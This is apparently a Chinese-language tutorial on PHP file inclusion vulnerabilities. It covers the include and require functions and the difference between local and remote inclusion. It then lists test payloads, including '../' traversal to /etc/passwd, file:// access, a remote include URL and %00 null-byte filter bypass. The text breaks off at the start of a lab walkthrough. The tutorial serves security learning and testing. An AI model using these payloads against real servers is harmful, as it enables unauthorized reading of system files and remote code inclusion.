PHP文件包含漏洞,简单地说,就是在通过函数包含文件时,由于没有对包含的文件名进行有效的过滤处理,被攻击者利用从而导致了包含了Web根目录以外的文件进来,就会导致文件信息的泄露甚至注入了恶意代码。更多的介绍这里就不多说了,直接上正题~
PHP文件包含的几个函数:
include():只有代码执行到该函数时才会包含文件进来,发生错误时只给出一个警告并继续向下执行。
include_once():和include()功能相同,区别在于当重复调用同一文件时,程序只调用一次。
require():只要程序执行就包含文件进来,发生错误时会输出错误结果并终止运行。
require_once():和require()功能相同,区别在于当重复调用同一文件时,程序只调用一次。
文件包含漏洞的一般特征如下:
?page=a.php
?home=a.html
?file=content
目录遍历(Directory traversal)和文件包含(File include)的一些区别:
目录遍历是可以读取web根目录以外的其他目录,根源在于web application的路径访问权限设置不严,针对的是本系统。
文件包含是通过include函数将web根目录以外的目录的文件被包含进来,分为LFI本地文件包含和RFI远程文件包含。
几种经典的测试方法:
?file=../../../../../etc/passwdd
?page=file:///etc/passwd
?home=main.cgi
?page=http://www.a.com/1.php
http://1.1.1.1/../../../../dir/file.txt
(通过多个../可以让目录回到根目录中然后再进入目标目录)
编码绕过字符过滤:
可以使用多种编码方式进行绕过
%00嵌入任意位置
.的利用
向量字典:
用于目录爆破猜测,在Kali的/usr/share/wfuzz/wordlist/vulns中保存有,如:
general:目录猜解
Injections:注入
Stress:压力测试
······
Low级:
直接通过将include.php改为../../../../../etc/passwd:
../实现向上一级目录跳转,多个时就会返回到根目录,其数量应多一点。
通过绝对路径也可以直接访问得到: